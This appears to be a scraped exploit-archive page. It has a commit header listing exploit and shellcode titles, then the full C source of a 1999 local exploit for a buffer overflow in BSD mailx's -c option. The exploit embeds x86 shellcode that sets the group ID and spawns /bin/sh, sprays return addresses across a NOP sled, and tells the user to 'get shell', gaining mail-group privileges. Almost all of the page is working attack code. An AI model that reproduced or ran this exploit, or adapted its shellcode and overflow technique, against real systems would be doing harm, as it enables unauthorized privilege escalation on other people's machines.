880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
59 lines
No EOL
1.9 KiB
C
59 lines
No EOL
1.9 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/1305/info
|
|
|
|
Some Linux distributions ship with BSD mailx 8.1.1-10 (On Slackware 7.x it can be found as /usr/bin/Mail).
|
|
|
|
A vulnerability exists in the 'mail' program, part of the Berkeley mailx package. The 'mail' program contains a buffer overflow condition that is present when the -c parameter is used at the command line.
|
|
|
|
On systems where it is installed setgid, this vulnerability can be exploited to gain group 'mail' privileges.
|
|
*/
|
|
|
|
/*
|
|
* ..just couse it is no longer secret :>
|
|
*
|
|
* mailx sploit (linux x86)
|
|
* funkySh 3/07/99
|
|
* tested under Slackware 3.6,4.0,7.0 offset = 0-500
|
|
* Debian 2.0r2,2.1,2.2 offset = -7000 ..ugh ;]
|
|
*
|
|
* buffer overrun in cc-addr option, gives "mail" group privileges
|
|
* (if mailx is installed setgid mail).
|
|
* Remember to define GID - it is different on Slack/Debian
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
#define GID "\x08" // Debian
|
|
//#define GID "\x0c" // Slackware
|
|
|
|
char code[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
|
|
"\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
|
|
GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
|
|
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
|
|
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
|
|
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
|
|
/* setregid + generic shell code */
|
|
|
|
#define BUFFER 10000
|
|
#define NOP 0x90
|
|
#define PATH "/usr/bin/Mail"
|
|
|
|
char buf[BUFFER];
|
|
|
|
unsigned long getesp(void) {
|
|
__asm__("movl %esp,%eax");
|
|
}
|
|
int main(int argc, char * argv[])
|
|
{
|
|
int i, offset = 0;
|
|
long address;
|
|
if(argc > 1) offset = atoi(argv[1]);
|
|
address = getesp() -11000 + offset;
|
|
memset(buf,NOP,BUFFER);
|
|
memcpy(buf+800,code,strlen(code));
|
|
for(i=876;i<BUFFER-2;i+=4)
|
|
*(int *)&buf[i]=address;
|
|
fprintf (stderr, "Hit '.' to get shell..\n");
|
|
execl(PATH, PATH, "x","-s","x","-c", buf,0);
|
|
} |